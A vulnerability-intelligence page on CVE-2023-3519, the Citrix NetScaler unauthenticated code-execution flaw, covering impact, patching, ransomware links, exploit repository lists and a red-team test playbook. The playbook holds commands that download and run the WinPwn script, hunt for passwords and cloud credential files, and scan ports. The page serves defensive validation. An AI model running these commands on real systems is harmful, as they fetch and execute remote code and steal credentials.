CVE-2023-3519
Overview
This vulnerability is an unauthenticated remote code execution flaw caused by improper input validation in the SAML processing component of Citrix NetScaler ADC and Gateway appliances. Specifically, the vulnerability arises from unsafe handling of POST requests to the /saml/login endpoint, allowing injection of malicious code due to inadequate sanitization of SAML authentication data. The affected component is the SAML authentication handler within the Citrix ADC and Gateway virtual server configurations including VPN virtual server, ICA Proxy, CVPN, RDP Proxy, and AAA virtual servers.
Vulnerability Description
Unauthenticated remote code execution
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary code on affected Citrix ADC and Gateway appliances. This grants full control over the device, enabling attackers to intercept VPN traffic, compromise internal network access, and potentially move laterally within the corporate environment. No user interaction or valid credentials are required to exploit this flaw, increasing the risk of widespread compromise and data breaches involving sensitive enterprise resources.
Solution
Citrix has released security updates addressing this vulnerability for NetScaler ADC and Gateway appliances as detailed in advisory CTX561482. Administrators should apply the latest patches provided by Citrix for all affected versions immediately. The advisory and patch instructions are available at https://support.citrix.com/article/CTX561482. No alternative mitigations are recommended beyond timely application of the official vendor patches.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Confirmed Groups
| Group | Victims | Source |
|---|---|---|
|
ransomhub
|
842 | ransomware.live |
|
incransom
|
836 | correlation_mitre |
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in question pertains to an unauthenticated remote code execution flaw within specific Citrix products, notably the Netscaler Application Delivery Controller and Netscaler Gateway. This critical issue arises from improper validation of user input, which allows an attacker to execute arbitrary code on the affected systems without requiring any form of authentication. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a significant risk to organizations utilizing these Citrix solutions. The exploitation of this flaw can lead to complete system compromise, data breaches, and unauthorized access to sensitive information.
Attack vectors for this vulnerability are particularly concerning due to the lack of authentication requirements. An attacker could leverage this flaw by sending specially crafted requests to the vulnerable devices over the network. This could be accomplished through various means, including but not limited to, phishing campaigns that lure users into accessing malicious links or direct network attacks targeting exposed services. Once the attacker successfully executes arbitrary code, they could manipulate the system to install malware, exfiltrate data, or pivot to other internal systems, thereby escalating the attack's impact.
The real-world implications of this vulnerability are profound, especially for organizations relying on Citrix products for application delivery and remote access. The potential for data breaches is significant, as attackers could gain access to sensitive corporate data, customer information, or intellectual property. The business risks associated with such breaches include financial losses, reputational damage, regulatory penalties, and operational disruptions. Organizations may face lawsuits from affected customers or partners, and the costs associated with incident response and recovery can be substantial. Furthermore, the exploitation of this vulnerability could lead to a loss of customer trust, which is often difficult to rebuild.
To effectively detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regularly updating and patching affected Citrix products is crucial, as vendors typically release security updates to address known vulnerabilities. Implementing robust network segmentation can also help limit the exposure of vulnerable systems to potential attackers. Organizations should monitor their networks for unusual activity, particularly traffic patterns that may indicate exploitation attempts. Additionally, employing intrusion detection and prevention systems can provide an extra layer of security by identifying and blocking malicious requests before they reach the vulnerable systems.
In conclusion, the unauthenticated remote code execution vulnerability in Citrix's Netscaler products represents a critical threat to organizations that utilize these technologies. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from cybersecurity teams. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against this threat. Proactive measures, including timely patching, network monitoring, and incident response planning, are essential to mitigate the risks associated with this vulnerability and protect sensitive data from malicious actors.
CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2023-3519, evidenced by a new confirmed sighting after a period of dormancy. This resurgence coincides with a slight uptick in the EPSS score, reinforcing the vulnerability’s persistent attractiveness to threat actors. The presence of multiple publicly available proof-of-concept exploits continues to lower the barrier for adversaries, facilitating more widespread attempts at unauthorized remote code execution against Citrix NetScaler ADC deployments. Notably, ransomware groups linked to this vulnerability remain active, underscoring the ongoing risk of financially motivated intrusions leveraging this critical flaw. Collectively, these developments elevate the threat landscape, signaling that defenders must maintain heightened vigilance as exploitation attempts are becoming more frequent and potentially more sophisticated. The risk level for organizations using affected Citrix products should be considered elevated due to this renewed exploitation momentum and the confirmed ransomware associations.
Update 2 — May 17, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-3519, reflecting a renewed adversary focus on this critical Citrix NetScaler ADC vulnerability. This increase in activity coincides with sustained ransomware group involvement, including LockBit and others, reinforcing the vulnerability’s role as a preferred vector for financially motivated intrusions. Although the overall exploit trend is not yet rapidly accelerating, the presence of multiple newly surfaced proof-of-concept tools enhances attacker capabilities and lowers the barrier to exploitation. For defenders, this signals an elevated threat posture requiring continued vigilance, as the combination of active ransomware campaigns and expanding exploit resources increases the likelihood of successful compromise. Consequently, the risk level associated with CVE-2023-3519 should be considered heightened, emphasizing the critical need for ongoing monitoring and proactive defense measures within affected environments.
Update 3 — July 04, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-3519, with telemetry indicating a significant uptick in attacker activity leveraging this critical vulnerability. This increase coincides with the continued proliferation of publicly available proof-of-concept exploits, which have lowered the technical barriers for adversaries. Additionally, the ransomware groups previously linked to this vulnerability have intensified their campaigns, underscoring a growing operational focus on Citrix NetScaler ADC environments. The convergence of heightened exploitation frequency and active ransomware engagement elevates the threat landscape, signaling an increased likelihood of successful intrusions. Consequently, the risk level associated with CVE-2023-3519 should be reassessed as elevated, reflecting a more aggressive exploitation phase that demands sustained attention from defenders.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
|
|
|
Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
|
|
|
Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Citrix ADC (NetScaler) Forms SSO Target RCE
exploits/freebsd/http/citrix_formssso_target_rce
|
Ron Bowes, Douglass McKee, Spencer McIntyre +1 | Unknown | unix | View |
GitHub PoCs (13)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
BishopFox/CVE-2023-3519
RCE exploit for CVE-2023-3519
|
BishopFox | 228 | 43 | 2023-07-21 | View |
|
securekomodo/citrixInspector
Accurately fingerprint and detect vulnerable (and patched!) versions of Netscaler / Citrix ADC to CVE-2023-3519
|
securekomodo | 85 | 14 | 2023-07-20 | View |
|
mandiant/citrix-ioc-scanner-cve-2023-3519
|
mandiant | 65 | 5 | 2023-08-10 | View |
|
telekom-security/cve-2023-3519-citrix-scanner
Citrix Scanner for CVE-2023-3519
|
telekom-security | 53 | 6 | 2023-07-20 | View |
|
mr-r3b00t/CVE-2023-3519
|
mr-r3b00t | 13 | 3 | 2023-07-21 | View |
|
SalehLardhi/CVE-2023-3519
CVE-2023-3519 vuln for nuclei scanner
|
SalehLardhi | 11 | 2 | 2023-07-21 | View |
|
Chocapikk/CVE-2023-3519
Citrix ADC RCE CVE-2023-3519
|
Chocapikk | 5 | 1 | 2023-08-24 | View |
|
dhammerg/CVE-2023-3519
Stack-Overflow on Citrix
|
dhammerg | 5 | 0 | 2023-10-27 | View |
|
rwincey/cve-2023-3519
|
rwincey | 1 | 2 | 2023-08-06 | View |
|
KR0N-SECURITY/CVE-2023-3519
NetScaler (Citrix ADC) CVE-2023-3519 Scanner
|
KR0N-SECURITY | 1 | 1 | 2023-07-21 | View |
|
passwa11/CVE-2023-3519
|
passwa11 | 1 | 1 | 2023-08-05 | View |
|
d0rb/CVE-2023-3519
CVE-2023-3519
|
d0rb | 0 | 1 | 2023-07-21 | View |
|
JonaNeidhart/CVE-2023-3519-BackdoorCheck
Script for checking CVE-2023-3519 for Backdoors
|
JonaNeidhart | 0 | 0 | 2023-08-31 | View |
Ransomware Groups 2
Threat Feed
22 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: 7-Zip, AdFind, Advanced IP Scanner, AnyDesk, BackBlaze (836 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: 7-Zip, AdFind, Advanced IP Scanner, AnyDesk, BackBlaze (836 known victims)
Ransomware group known to exploit this vulnerability (5 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-3519 |
| support.citrix.com |
GitHub CVE
|
https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/173997/Citrix-ADC-NetScaler-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-3519 |